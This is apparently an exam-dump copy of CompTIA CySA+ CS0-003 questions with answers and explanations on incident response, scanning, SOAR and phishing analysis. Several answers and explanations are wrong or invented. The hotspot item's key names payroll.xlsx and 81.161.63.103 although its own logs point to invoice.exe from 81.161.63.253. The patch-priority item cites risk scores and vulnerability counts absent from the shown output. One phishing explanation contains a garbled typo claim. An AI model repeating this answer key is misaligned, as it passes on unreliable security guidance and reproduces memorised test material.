

# CompTIA

## Exam Questions CS0-003

CompTIA CySA+ Certification Beta Exam



### NEW QUESTION 1

A security analyst needs to mitigate a known, exploited vulnerability related not tack vector that embeds software through the USB interface. Which of the following should the analyst do first?

- A. Conduct security awareness training on the risks of using unknown and unencrypted USBs.
- B. Write a removable media policy that explains that USBs cannot be connected to a company asset.
- C. Check configurations to determine whether USB ports are enabled on company assets.
- D. Review logs to see whether this exploitable vulnerability has already impacted the company.

**Answer: C**

#### Explanation:

USB ports are a common attack vector that can be used to deliver malware, steal data, or compromise systems. The first step to mitigate this vulnerability is to check the configurations of the company assets and disable or restrict the USB ports if possible. This will prevent unauthorized devices from being connected and reduce the attack surface. The other options are also important, but they are not the first priority in this scenario.

References:

? CompTIA CySA+ CS0-003 Certification Study Guide, page 247

? What are Attack Vectors: Definition & Vulnerabilities, section "How to secure attack vectors"

? Are there any attack vectors for a printer connected through USB in a Windows environment?, answer by user "schroeder"

### NEW QUESTION 2

Which of the following would help to minimize human engagement and aid in process improvement in security operations?

- A. OSSTMM
- B. SIEM
- C. SOAR
- D. QVVASP

**Answer: C**

#### Explanation:

SOAR stands for security orchestration, automation, and response, which is a term that describes a set of tools, technologies, or platforms that can help streamline, standardize, and automate security operations and incident response processes and tasks. SOAR can help minimize human engagement and aid in process improvement in security operations by reducing manual work, human errors, response time, or complexity. SOAR can also help enhance collaboration, coordination, efficiency, or effectiveness of security operations and incident response teams.

### NEW QUESTION 3

A security analyst at a company called ACME Commercial notices there is outbound traffic to a host IP that resolves to <https://office365password.acme.co>. The site's standard VPN logon page is [www.acme.com/logon](http://www.acme.com/logon). Which of the following is most likely true?

- A. This is a normal password change URL.
- B. The security operations center is performing a routine password audit.
- C. A new VPN gateway has been deployed
- D. A social engineering attack is underway

**Answer: D**

#### Explanation:

A social engineering attack is underway is the most likely explanation for the outbound traffic to a host IP that resolves to <https://office365password.acme.co>, while the site's standard VPN logon page is [www.acme.com/logon](http://www.acme.com/logon). A social engineering attack is a technique that exploits human psychology and behavior to manipulate people into performing actions or divulging information that benefit the attackers. A common type of social engineering attack is phishing, which involves sending fraudulent emails or other messages that appear to come from a legitimate source, such as a company or a colleague, and lure the recipients into clicking on malicious links or attachments, or entering their credentials or other sensitive information on fake websites. In this case, the attackers may have registered a domain name that looks similar to the company's domain name, but with a typo (office365 instead of office365), and set up a fake website that mimics the company's VPN logon page. The attackers may have also sent phishing emails to the company's employees, asking them to reset their passwords or log in to their VPN accounts using the malicious link. The security analyst should investigate the source and content of the phishing emails, and alert the employees not to click on any suspicious links or enter their credentials on any untrusted websites. Official References:

? <https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives>

? <https://www.comptia.org/certifications/cybersecurity-analyst>

? <https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered>

### NEW QUESTION 4

An organization has tracked several incidents that are listed in the following table:

Start time	Detection time	Time elapsed in minutes
7:20 a.m.	10:30 a.m.	180
12:00 a.m.	2:30 a.m.	150
9:25 a.m.	12:15 p.m.	170
3:25 p.m.	5:45 p.m.	140

Which of the following is the organization's MTTD?

- A. 140
- B. 150
- C. 160
- D. 180

**Answer:** C

**Explanation:**

The MTTD (Mean Time To Detect) is calculated by averaging the time elapsed in detecting incidents. From the given data:  $(180+150+170+140)/4 = 160$  minutes. This is the correct answer according to the CompTIA CySA+ CS0-003 Certification Study Guide<sup>1</sup>, Chapter 4, page 161. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 4, page 153; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 4, page 161.

**NEW QUESTION 5**

A cybersecurity analyst is reviewing SIEM logs and observes consistent requests originating from an internal host to a blocklisted external server. Which of the following best describes the activity that is taking place?

- A. Data exfiltration
- B. Rogue device
- C. Scanning
- D. Beaconing

**Answer:** D

**Explanation:**

Beaconing is the best term to describe the activity that is taking place, as it refers to the periodic communication between an infected host and a blocklisted external server. Beaconing is a common technique used by malware to establish a connection with a command-and-control (C2) server, which can provide instructions, updates, or exfiltration capabilities to the malware. Beaconing can vary in frequency, duration, and payload, depending on the type and sophistication of the malware. The other terms are not as accurate as beaconing, as they describe different aspects of malicious activity. Data exfiltration is the unauthorized transfer of data from a compromised system to an external destination, such as a C2 server or a cloud storage service. Data exfiltration can be a goal or a consequence of malware infection, but it does not necessarily involve blocklisted servers or consistent requests. Rogue device is a device that is connected to a network without authorization or proper security controls. Rogue devices can pose a security risk, as they can introduce malware, bypass firewalls, or access sensitive data. However, rogue devices are not necessarily infected with malware or communicating with blocklisted servers. Scanning is the process of probing a network or a system for vulnerabilities, open ports, services, or other information. Scanning can be performed by legitimate administrators or malicious actors, depending on the intent and authorization. Scanning does not imply consistent requests or blocklisted servers, as it can target any network or system.

**NEW QUESTION 6**

An analyst is remediating items associated with a recent incident. The analyst has isolated the vulnerability and is actively removing it from the system. Which of the following steps of the process does this describe?

- A. Eradication
- B. Recovery
- C. Containment
- D. Preparation

**Answer:** A

**Explanation:**

Eradication is a step in the incident response process that involves removing any traces or remnants of the incident from the affected systems or networks, such as malware, backdoors, compromised accounts, or malicious files. Eradication also involves restoring the systems or networks to their normal or secure state, as well as verifying that the incident is completely eliminated and cannot recur. In this case, the analyst is remediating items associated with a recent incident by isolating the vulnerability and actively removing it from the system. This describes the eradication step of the incident response process.

**NEW QUESTION 7**

An incident response team found IoCs in a critical server. The team needs to isolate and collect technical evidence for further investigation. Which of the following pieces of data should be collected first in order to preserve sensitive information before isolating the server?

- A. Hard disk
- B. Primary boot partition
- C. Malicious tiles
- D. Routing table
- E. Static IP address

**Answer:** A

**Explanation:**

The hard disk is the piece of data that should be collected first in order to preserve sensitive information before isolating the server. The hard disk contains all the files and data stored on the server, which may include evidence of malicious activity, such as malware installation, data exfiltration, or configuration changes. The hard disk should be collected using proper forensic techniques, such as creating an image or a copy of the disk and maintaining its integrity using hashing algorithms.

**NEW QUESTION 8**

Which of the following items should be included in a vulnerability scan report? (Choose two.)

- A. Lessons learned
- B. Service-level agreement
- C. Playbook
- D. Affected hosts

- E. Risk score
- F. Education plan

**Answer:** DE

**Explanation:**

A vulnerability scan report should include information about the affected hosts, such as their IP addresses, hostnames, operating systems, and services. It should also include a risk score for each vulnerability, which indicates the severity and potential impact of the vulnerability on the host and the organization. Official References: <https://www.first.org/cvss/>

**NEW QUESTION 9**

Which of the following is described as a method of enforcing a security policy between cloud customers and cloud services?

- A. CASB
- B. DMARC
- C. SIEM
- D. PAM

**Answer:** A

**Explanation:**

A CASB (Cloud Access Security Broker) is a security solution that acts as an intermediary between cloud users and cloud providers, and monitors and enforces security policies for cloud access and usage. A CASB can help organizations protect their data and applications in the cloud from unauthorized or malicious access, as well as comply with regulatory standards and best practices. A CASB can also provide visibility, control, and analytics for cloud activity, and identify and mitigate potential threats<sup>12</sup>

The other options are not correct. DMARC (Domain-based Message Authentication, Reporting and Conformance) is an email authentication protocol that helps email domain owners prevent spoofing and phishing attacks by verifying the sender's identity and instructing the receiver how to handle unauthenticated messages<sup>34</sup> SIEM (Security Information and Event Management) is a security solution that collects, aggregates, and analyzes log data from various sources across an organization's network, such as applications, devices, servers, and users, and provides real-time alerts, dashboards, reports, and incident response capabilities to help security teams identify and mitigate cyberattacks<sup>56</sup> PAM (Privileged Access Management) is a security solution that helps organizations manage and protect the access and permissions of users, accounts, processes, and systems that have elevated or administrative privileges. PAM can help prevent credential theft, data breaches, insider threats, and compliance violations by monitoring, detecting, and preventing unauthorized privileged access to critical resources<sup>78</sup>

**NEW QUESTION 10**

A security administrator has been notified by the IT operations department that some vulnerability reports contain an incomplete list of findings. Which of the following methods should be used to resolve this issue?

- A. Credentialed scan
- B. External scan
- C. Differential scan
- D. Network scan

**Answer:** A

**Explanation:**

A credentialed scan is a type of vulnerability scan that uses valid credentials to log in to the scanned systems and perform a more thorough and accurate assessment of their vulnerabilities. A credentialed scan can access more information than a non-credentialed scan, such as registry keys, patch levels, configuration settings, and installed applications. A credentialed scan can also reduce the number of false positives and false negatives, as it can verify the actual state of the system rather than relying on inference or assumptions. The other types of scans are not related to the issue of incomplete findings, as they refer to different aspects of vulnerability scanning, such as the scope, location, or frequency of the scan. An external scan is a scan that is performed from outside the network perimeter, usually from the internet. An external scan can reveal how an attacker would see the network and what vulnerabilities are exposed to the public. An external scan cannot access internal systems or resources that are behind firewalls or other security controls. A differential scan is a scan that compares the results of two scans and highlights the differences between them. A differential scan can help identify changes in the network environment, such as new vulnerabilities, patched vulnerabilities, or new devices. A differential scan does not provide a complete list of findings by itself, but rather a summary of changes. A network scan is a scan that focuses on the network layer of the OSI model and detects vulnerabilities related to network devices, protocols, services, and configurations. A network scan can discover open ports, misconfigured firewalls, unencrypted traffic, and other network-related issues. A network scan does not provide information about the application layer or the host layer of the OSI model, such as web applications or operating systems.

**NEW QUESTION 10**

Which of the following describes how a CSIRT lead determines who should be communicated with and when during a security incident?

- A. The lead should review what is documented in the incident response policy or plan
- B. Management level members of the CSIRT should make that decision
- C. The lead has the authority to decide who to communicate with at any time
- D. Subject matter experts on the team should communicate with others within the specified area of expertise

**Answer:** A

**Explanation:**

The incident response policy or plan is a document that defines the roles and responsibilities, procedures and processes, communication and escalation protocols, and reporting and documentation requirements for handling security incidents. The lead should review what is documented in the incident response policy or plan to determine who should be communicated with and when during a security incident, as well as what information should be shared and how. The incident response policy or plan should also be aligned with the organizational policies and legal obligations regarding incident notification and disclosure.

**NEW QUESTION 11**

Which of the following best describes the reporting metric that should be utilized when measuring the degree to which a system, application, or user base is affected by an uptime availability outage?



- A. Timeline
- B. Evidence
- C. Impact
- D. Scope

**Answer:** C

**Explanation:**

The correct answer is C. Impact.

The impact metric is the best way to measure the degree to which a system, application, or user base is affected by an uptime availability outage. The impact metric quantifies the consequences of the outage in terms of lost revenue, productivity, reputation, customer satisfaction, or other relevant factors. The impact metric can help prioritize the recovery efforts and justify the resources needed to restore the service<sup>1</sup>.

The other options are not the best ways to measure the degree to which a system, application, or user base is affected by an uptime availability outage. The timeline metric (A) measures the duration and frequency of the outage, but not its effects. The evidence metric (B) measures the sources and types of data that can be used to investigate and analyze the outage, but not its effects. The scope metric (D) measures the extent and severity of the outage, but not its effects.

**NEW QUESTION 15**

A security analyst performs a vulnerability scan. Based on the metrics from the scan results, the analyst must prioritize which hosts to patch. The analyst runs the tool and receives the following output:

```
Host      CVE: (Vulnerability Name)  Metrics
----      -
host01 CVE-2003-99992: (TransAtl) DDS:NOA:HVT
host02 CVE-2004-99993: (TjBeP)  DDS:AEX:NOA
host03 CVE-2007-99996:
      (NarrowStairs)          RCE:AEX:HVT
host04 CVE-2009-99998:
      (Topendoor)            UDD:NOA

--- metrics ---
DDS: Denial of service vulnerability
RCE: Remote code execution vulnerability
UDD: Unauthorized disclosure of data vulnerability
AEX: Vulnerability is being exploited actively exploited
NOA: No authentication required
HVT: Host is a high value target
HEX: Host is externally available to public Internet
```

Which of the following hosts should be patched first, based on the metrics?

- A. host01
- B. host02
- C. host03
- D. host04

**Answer:** C

**Explanation:**

Host03 should be patched first, based on the metrics, as it has the highest risk score and the highest number of critical vulnerabilities. The risk score is calculated by multiplying the CVSS score by the exposure factor, which is the percentage of systems that are vulnerable to the exploit. Host03 has a risk score of  $10 \times 0.9 = 9$ , which is higher than any other host. Host03 also has 5 critical vulnerabilities, which are the most severe and urgent to fix, as they can allow remote code execution, privilege escalation, or data loss. The other hosts have lower risk scores and lower numbers of critical vulnerabilities, so they can be patched later.

**NEW QUESTION 18**

An analyst is designing a message system for a bank. The analyst wants to include a feature that allows the recipient of a message to prove to a third party that the message came from the sender Which of the following information security goals is the analyst most likely trying to achieve?

- A. Non-repudiation
- B. Authentication
- C. Authorization
- D. Integrity

**Answer:** A

**Explanation:**

Non-repudiation ensures that a message sender cannot deny the authenticity of their sent message. This is crucial in banking communications for legal and security reasons.

The goal of allowing a message recipient to prove the message's origin is non-repudiation. This ensures that the sender cannot deny the authenticity of their message. Non- repudiation is a fundamental aspect of secure messaging systems, especially in banking and financial communications.

**NEW QUESTION 23**

A Chief Information Security Officer wants to implement security by design, starting ..... vulnerabilities, including SQL injection, FRI, XSS, etc. Which of the following would most likely meet the requirement?

- A. Reverse engineering
- B. Known environment testing
- C. Dynamic application security testing
- D. Code debugging

**Answer: C**

**Explanation:**

Dynamic Application Security Testing (DAST) is used to detect vulnerabilities in running applications, including common issues like SQL injection, FRI, XSS, etc. It aligns with the goal of implementing security by design.

**NEW QUESTION 26**

A payroll department employee was the target of a phishing attack in which an attacker impersonated a department director and requested that direct deposit information be updated to a new account. Afterward, a deposit was made into the unauthorized account. Which of the following is one of the first actions the incident response team should take when they receive notification of the attack?

- A. Scan the employee's computer with virus and malware tools.
- B. Review the actions taken by the employee and the email related to the event
- C. Contact human resources and recommend the termination of the employee.
- D. Assign security awareness training to the employee involved in the incident.

**Answer: B**

**Explanation:**

In case of a phishing attack, it's crucial to review what actions were taken by the employee and analyze the phishing email to understand its nature and impact. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 6, page 246; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 6, page 255.

**NEW QUESTION 27**

**HOTSPOT**

A company recently experienced a security incident. The security team has determined a user clicked on a link embedded in a phishing email that was sent to the entire company. The link resulted in a malware download, which was subsequently installed and run.

**INSTRUCTIONS**

**Part 1**

Review the artifacts associated with the security incident. Identify the name of the malware, the malicious IP address, and the date and time when the malware executable entered the organization.

**Part 2**

Review the kill chain items and select an appropriate control for each that would improve the security posture of the organization and would have helped to prevent this incident from occurring. Each control may only be used once, and not all controls will be used.



Firewall log:

**Firewall log** ✕

**Traffic denied:**

Dec 1 14:10:46 fire00 fire00: NetScreen device\_id=fire00 [Root]system-notification-00257(traffic): policy\_id=119 service=udp/port:7001 proto=17 src zone=Trust dst zone=Untrust action=Deny sent=0 rcvd=0 src=192.168.2.1 dst=1.2.3.4 src\_port=3036 dst\_port=7001

Dec 1 14:12:31 fire00 aka1: NetScreen device\_id=aka1 [Root]system-notification-00257(traffic): policy\_id=120 service=udp/port:20721 proto=17 src zone=Trust dst zone=DMZ action=Deny sent=0 rcvd=0 src=192.168.2.2 dst=1.2.3.4 src\_port=53 dst\_port=20721

Dec 1 14:14:31 fire00 aka1: NetScreen device\_id=aka1 [Root]system-notification-00257(traffic): policy\_id=120 service=udp/port:17210 proto=17 src zone=Trust dst zone=DMZ action=Deny sent=0 rcvd=0 src=192.168.2.2 dst=1.2.3.4 src\_port=53 dst\_port=17210

**Alert messages:**

Dec 1 14:03:19 [xx] ns5gt: NetScreen device\_id=ns5gt [Root]system-alert-00016: invoice.exe From 81.161.63.253, proto TCP (zone Untrust, int untrust). Occurred 1 times.

**Critical messages:**



Dec 1 11:24:16 fire00 sav00: NetScreen device\_id=sav00 [Root]system-critical-00436: Large ICMP packet!  
 From 1.2.3.4 to 2.3.4.5, proto 1 (zone Untrust, int ethernet1/2). Occurred 1 times.  
 [00001] 2005-05-16 12:55:10 [Root]system-critical-00042: Replay packet detected on IPSec tunnel on  
 ethernet3 with tunnel ID 0x1c! From z.y.x.w to a.b.c.d/336, ESP, SPI 0xf63af637, SEQ 0xe337.  
 [00001] 2006-05-25 13:34:33 [Root]system-alert-00008: IP spoofing! From 10.1.1.238:80 to a.b.c.d:49807,  
 proto TCP (zone Untrust, int ethernet3). Occurred 1 times.

File integrity Monitoring Report:

File integrity monitoring report				
Shows files, folders, shares, and permissions that were created, deleted, or modified.				
Action	Object type	What	Who	When
<b>Added</b>	File	\\host1\users\user1\Downloads\payroll.xlsx	Domainusers\user1	11/30/19 12:05:34
Where:	Host1			
Workstation:	172.30.0.152			
<b>Removed</b>	File	\\host1\users\user1\Downloads\payroll.xlsx	Domainusers\user1	11/30/19 12:25:13
Where:	Host1			
Workstation:	172.30.0.152			
Date created:		"11/30/19 12:05:34"		
<b>Added</b>	File	\\host1\users\user1\Downloads\resume1.docx	Domainusers\user1	12/1/19 13:59:25
Where:	Host1			
Workstation:	172.30.0.152			
<b>Added</b>	File	\\host1\users\user1\Downloads\invoice.exe	Domainusers\user1	12/1/19 14:03:55
Where:	Host1			
Workstation:	172.30.0.152			
<b>Renamed</b>	File		Domainusers\user1	12/1/19 14:25:30
Where:	Host1			
Workstation:	172.30.0.152			
Name changed from:		resume1.docx to resume2.docx		

Malware domain list:

Malware domain list
# MalwareDomainList.com Host List #
# http://www.maowaredomainlist.com/hostlist/hosts.txt #
# Last updated: 3 Dec 2019, 21:00:00 #
# IP #
171.25.193.20
171.25.193.25
185.220.101.194
81.161.63.103
81.161.63.253
77.247.181.162
141.98.81.194
46.101.220.225
139.59.95.60
51.254.37.192
81.161.63.104
139.59.116.115

Vulnerability Scan Report:

## Vulnerability scan report

### HIGH SEVERITY

**Title:** Cleartext transmission of sensitive information  
**Description:** The software transmits sensitive or security-critical data in Cleartext in a communication channel that can be sniffed by authorized users.  
**Affected asset:** 172.30.0.150  
**Risk:** Anyone can read the information by gaining access to the channel being used for communication.  
**Reference:** CVE-2002-1949

### HIGH SEVERITY

**Title:** Elevated privileges not required for software installations  
**Description:** All account types can install software, requirements for privileged accounts for installation capabilities is not configured.  
**Affected asset:** 172.30.0.152  
**Risk:** Enhanced risk for unauthorized or malicious software installation  
**Reference:** n/a

### MEDIUM SEVERITY

**Title:** Sensitive cookie in HTTPS session without "secure" attribute  
**Description:** The secure attribute for sensitive cookies in HTTPS sessions is not set, which could cause the user agent to send those cookies in plaintext over HTTP session.  
**Affected asset:** 172.30.0.157  
**Risk:** Session sidejacking  
**Reference:** CVE-2004-0462

### LOW SEVERITY

**Title:** Untrusted SSL/TLS Server X.509 certificate  
**Description:** The server's TLS/SSL certificate is signed by a certificate authority that is untrusted or unknown.  
**Affected asset:** 172.30.0.153  
**Risk:** May allow on-path attackers to insert a spoofed certificate for any distinguished name (DN).  
**Reference:** CVE-2005-1234

Phishing Email:

## Phishing email

From: IT HelpDesk <it-helpdesk@company.com>  
 Sent: Sun 12/01/2019 2:00:00  
 To: Global Users <globalusers@company.com>  
 Subject: Moving our mail servers

Hi,

In the upcoming days, we will be moving our mail servers. Check out the new Company Webmail to know if it has started working for you.

Visit the new Company Webmail to see all the new features.  
 Use your current username and password at [Company Webmail](#).

Download the latest mail client located [here](#).

Thank you.

IT HelpDesk



### Kill chain item

Phishing email	<div>Select control</div> <div>Firewall file type filter</div> <div>Honeypot</div> <div>MFA</div> <div>MAC filtering</div> <div>Restricted local user permissions</div> <div>Email filtering</div> <div>Disk-level encryption</div> <div>Updated antivirus</div> <div>Network segmentation</div> <div>Plain text email format</div> <div>VPN</div> <div>IP blocklist</div> <div>Backups</div>	Malware install	<div>Select control</div> <div>Firewall file type filter</div> <div>Honeypot</div> <div>MFA</div> <div>MAC filtering</div> <div>Restricted local user permissions</div> <div>Email filtering</div> <div>Disk-level encryption</div> <div>Updated antivirus</div> <div>Network segmentation</div> <div>Plain text email format</div> <div>VPN</div> <div>IP blocklist</div> <div>Backups</div>
Active links	<div>Select control</div> <div>Firewall file type filter</div> <div>Honeypot</div> <div>MFA</div> <div>MAC filtering</div> <div>Restricted local user permissions</div> <div>Email filtering</div> <div>Disk-level encryption</div> <div>Updated antivirus</div> <div>Network segmentation</div> <div>Plain text email format</div> <div>VPN</div> <div>IP blocklist</div> <div>Backups</div>	Malware execution	<div>Select control</div> <div>Firewall file type filter</div> <div>Honeypot</div> <div>MFA</div> <div>MAC filtering</div> <div>Restricted local user permissions</div> <div>Email filtering</div> <div>Disk-level encryption</div> <div>Updated antivirus</div> <div>Network segmentation</div> <div>Plain text email format</div> <div>VPN</div> <div>IP blocklist</div> <div>Backups</div>
Malicious website access	<div>Select control</div> <div>Firewall file type filter</div> <div>Honeypot</div> <div>MFA</div> <div>MAC filtering</div> <div>Restricted local user permissions</div> <div>Email filtering</div> <div>Disk-level encryption</div> <div>Updated antivirus</div> <div>Network segmentation</div> <div>Plain text email format</div> <div>VPN</div> <div>IP blocklist</div> <div>Backups</div>	File encryption	<div>Select control</div> <div>Firewall file type filter</div> <div>Honeypot</div> <div>MFA</div> <div>MAC filtering</div> <div>Restricted local user permissions</div> <div>Email filtering</div> <div>Disk-level encryption</div> <div>Updated antivirus</div> <div>Network segmentation</div> <div>Plain text email format</div> <div>VPN</div> <div>IP blocklist</div> <div>Backups</div>
Malware download	<div>Select control</div> <div>Firewall file type filter</div> <div>Honeypot</div> <div>MFA</div> <div>MAC filtering</div> <div>Restricted local user permissions</div> <div>Email filtering</div> <div>Disk-level encryption</div> <div>Updated antivirus</div> <div>Network segmentation</div> <div>Plain text email format</div> <div>VPN</div> <div>IP blocklist</div> <div>Backups</div>		

### Identify the following:

Malicious executable	<div>Select option</div> <div>invoice.exe</div> <div>resume1.docx</div> <div>resume2.docx</div> <div>payroll.xlsx</div>
Malicious IP address	<div>Select option</div> <div>81.161.63.103</div> <div>81.161.63.253</div> <div>171.25.193.20</div> <div>185.220.101.194</div> <div>192.168.2.1</div> <div>171.25.193.25</div> <div>10.1.1.238</div>
Date/time malware entered organization	<div>Select option</div> <div>1 Dec 2019 11:24:16</div> <div>1 Dec 2019 14:03:19</div> <div>1 Dec 2019 14:03:55</div> <div>30 Nov 2019 12:05:34</div> <div>1 Dec 2019 14:25:30</div> <div>1 Dec 2019 13:59:25</div> <div>30 Nov 2019 12:25:13</div>

- A. Mastered  
 B. Not Mastered

**Answer: A**

**Explanation:**

### Kill chain item

Phishing email	Email filtering	Malware install	Restricted local user permissions
Active links	VPN	Malware execution	Updated antivirus
Malicious website access	IP blocklist	File encryption	Backups
Malware download	Firewall file type filter		

### Identify the following:

Malicious executable	payroll.xlsx
Malicious IP address	81.161.63.103
Date/time malware entered organization	1 Dec 2019 14:03:19

### NEW QUESTION 30

During a cybersecurity incident, one of the web servers at the perimeter network was affected by ransomware. Which of the following actions should be performed immediately?

- A. Shut down the server.  
 B. Reimage the server  
 C. Quarantine the server  
 D. Update the OS to latest version.

**Answer: C**

**Explanation:**

Quarantining the server is the best action to perform immediately, as it isolates the affected server from the rest of the network and prevents the ransomware from spreading to other systems or data. Quarantining the server also preserves the evidence of the ransomware attack, which can be useful for forensic analysis and law enforcement investigation. The other actions are not as urgent as quarantining the server, as they may not stop the ransomware infection, or they may destroy valuable evidence. Shutting down the server may not remove the ransomware, and it may trigger a data deletion mechanism by the ransomware. Reimaging the server may restore its functionality, but it will also erase any traces of the ransomware and make recovery of encrypted data impossible. Updating the OS to the latest version may fix some vulnerabilities, but it will not remove the ransomware or decrypt the data. Official References:

? <https://www.cisa.gov/stopransomware/ransomware-guide>

? [https://www.cisa.gov/sites/default/files/publications/Ransomware\\_Executive\\_One-Pager\\_and\\_Technical\\_Document-FINAL.pdf](https://www.cisa.gov/sites/default/files/publications/Ransomware_Executive_One-Pager_and_Technical_Document-FINAL.pdf)

? <https://www.cisa.gov/stopransomware/ive-been-hit-ransomware>

### NEW QUESTION 35

A Chief Information Security Officer (CISO) is concerned that a specific threat actor who is known to target the company's business type may be able to breach the network and remain inside of it for an extended period of time.

Which of the following techniques should be performed to meet the CISO's goals?

- A. Vulnerability scanning
- B. Adversary emulation
- C. Passive discovery
- D. Bug bounty

**Answer: B**

#### Explanation:

The correct answer is B. Adversary emulation.

Adversary emulation is a technique that involves mimicking the tactics, techniques, and procedures (TTPs) of a specific threat actor or group to test the effectiveness of the security controls and incident response capabilities of an organization<sup>1</sup>. Adversary emulation can help identify and address the gaps and weaknesses in the security posture of an organization, as well as improve the readiness and skills of the security team. Adversary emulation can also help measure the dwell time, which is the duration that a threat actor remains undetected inside the network<sup>2</sup>.

The other options are not the best techniques to meet the CISO's goals. Vulnerability scanning (A) is a technique that involves scanning the network and systems for known vulnerabilities, but it does not simulate a real attack or test the incident response capabilities. Passive discovery © is a technique that involves collecting information about the network and systems without sending any packets or probes, but it does not identify or exploit any vulnerabilities or test the security controls. Bug bounty (D) is a program that involves rewarding external researchers or hackers for finding and reporting vulnerabilities in an organization's systems or applications, but it does not focus on a specific threat actor or group.

### NEW QUESTION 36

During an incident involving phishing, a security analyst needs to find the source of the malicious email. Which of the following techniques would provide the analyst with this information?

- A. Header analysis
- B. Packet capture
- C. SSL inspection
- D. Reverse engineering

**Answer: A**

#### Explanation:

Header analysis is the technique of examining the metadata of an email, such as the sender, recipient, date, subject, and routing information. It can help to identify the source of a malicious email by revealing the IP address and domain name of the originator, as well as any spoofing or redirection attempts. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 6, page 240; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 6, page 249.

### NEW QUESTION 38

A security analyst is writing a shell script to identify IP addresses from the same country. Which of the following functions would help the analyst achieve the objective?

- A. `function w() { info=$(ping -c 1 $1 | awk -F "/" 'END{print $1}') && echo "$1 | $info" }`
- B. `function x() { info=$(geoplookup $1) && echo "$1 | $info" }`
- C. `function y() { info=$(dig -x $1 | grep PTR | tail -n 1 ) && echo "$1 | $info" }`
- D. `function z() { info=$(traceroute -m 40 $1 | awk 'END{print $1}') && echo "$1 | $info" }`

**Answer: B**

#### Explanation:

The function that would help the analyst identify IP addresses from the same country is:

```
function x() { info=$(geoplookup $1) && echo "$1 | $info" }
```

This function takes an IP address as an argument and uses the geoplookup command to get the geographic location information associated with the IP address, such as the country name, country code, region, city, or latitude and longitude. The function then prints the IP address and the geographic location information, which can help identify any IP addresses that belong to the same country.

### NEW QUESTION 41

An analyst recommends that an EDR agent collect the source IP address, make a connection to the firewall, and create a policy to block the malicious source IP address across the entire network automatically. Which of the following is the best option to help the analyst implement this recommendation?

- A. SOAR
- B. SIEM
- C. SLA
- D. IoC

**Answer: A**

**Explanation:**

SOAR (Security Orchestration, Automation, and Response) is the best option to help the analyst implement the recommendation, as it reflects the software solution that enables security teams to integrate and coordinate separate tools into streamlined threat response workflows and automate repetitive tasks. SOAR is a term coined by Gartner in 2015 to describe a technology that combines the functions of security incident response platforms, security orchestration and automation platforms, and threat intelligence platforms in one offering. SOAR solutions help security teams to collect inputs from various sources, such as EDR agents, firewalls, or SIEM systems, and perform analysis and triage using a combination of human and machine power. SOAR solutions also allow security teams to define and execute incident response procedures in a digital workflow format, using automation to perform low-level tasks or actions, such as blocking an IP address or quarantining a device. SOAR solutions can help security teams to improve efficiency, consistency, and scalability of their operations, as well as reduce mean time to detect (MTTD) and mean time to respond (MTTR) to threats. The other options are not as suitable as SOAR, as they do not match the description or purpose of the recommendation. SIEM (Security Information and Event Management) is a software solution that collects and analyzes data from various sources, such as logs, events, or alerts, and provides security monitoring, threat detection, and incident response capabilities. SIEM solutions can help security teams to gain visibility, correlation, and context of their security data, but they do not provide automation or orchestration features like SOAR solutions. SLA (Service Level Agreement) is a document that defines the expectations and responsibilities between a service provider and a customer, such as the quality, availability, or performance of the service. SLAs can help to manage customer expectations, formalize communication, and improve productivity and relationships, but they do not help to implement technical recommendations like SOAR solutions. IoC (Indicator of Compromise) is a piece of data or evidence that suggests a system or network has been compromised by a threat actor, such as an IP address, a file hash, or a registry key. IoCs can help to identify and analyze malicious activities or incidents, but they do not help to implement response actions like SOAR solutions.

**NEW QUESTION 45**

Which of the following concepts is using an API to insert bulk access requests from a file into an identity management system an example of?

- A. Command and control
- B. Data enrichment
- C. Automation
- D. Single sign-on

**Answer: C**

**Explanation:**

Automation is the best concept to describe the example, as it reflects the use of technology to perform tasks or processes without human intervention. Automation can help to improve efficiency, accuracy, consistency, and scalability of various operations, such as identity and access management (IAM). IAM is a security framework that enables organizations to manage the identities and access rights of users and devices across different systems and applications. IAM can help to ensure that only authorized users and devices can access the appropriate resources at the appropriate time and for the appropriate purpose. IAM can involve various tasks or processes, such as authentication, authorization, provisioning, deprovisioning, auditing, or reporting. Automation can help to simplify and streamline these tasks or processes by using software tools or scripts that can execute predefined actions or workflows based on certain triggers or conditions. For example, automation can help to create, update, or delete user accounts in bulk based on a file or a database, rather than manually entering or modifying each account individually. The example in the question shows that an API is used to insert bulk access requests from a file into an identity management system. An API (Application Programming Interface) is a set of rules or specifications that defines how different software components or systems can communicate and exchange data with each other. An API can help to enable automation by providing a standardized and consistent way to access and manipulate data or functionality of a software component or system. The example in the question shows that an API is used to automate the process of inserting bulk access requests from a file into an identity management system, rather than manually entering each request one by one. The other options are not correct, as they describe different concepts or techniques. Command and control is a term that refers to the ability of an attacker to remotely control a compromised system or device, such as using malware or backdoors. Command and control is not related to what is described in the example. Data enrichment is a term that refers to the process of enhancing or augmenting existing data with additional information from external sources, such as adding demographic or behavioral attributes to customer profiles. Data enrichment is not related to what is described in the example. Single sign-on is a term that refers to an authentication method that allows users to access multiple systems or applications with one set of credentials, such as using a single username and password for different websites or services. Single sign-on is not related to what is described in the example.

**NEW QUESTION 46**

A security analyst is trying to identify possible network addresses from different source networks belonging to the same company and region. Which of the following shell script functions could help achieve the goal?

- A. `function w() { a=$(ping -c 1 $1 | awk -F "/" 'END{print $1}') && echo "$1 | $a" }`
- B. `function x() { b=traceroute -m 40 $1 | awk 'END{print $1}') && echo "$1 | $b" }`
- C. `function y() { dig $(dig -x $1 | grep PTR | tail -n 1 | awk -F "." 'in-addr' '{print $1}').origin.asn.cymru.com TXT +short }`
- D. `function z() { c=$(geoiplookup $1) && echo "$1 | $c" }`

**Answer: C**

**Explanation:**

The shell script function that could help identify possible network addresses from different source networks belonging to the same company and region is:

```
function y() { dig $(dig -x $1 | grep PTR | tail -n 1 | awk -F "." 'in-addr' '{print $1}').origin.asn.cymru.com TXT +short }
```

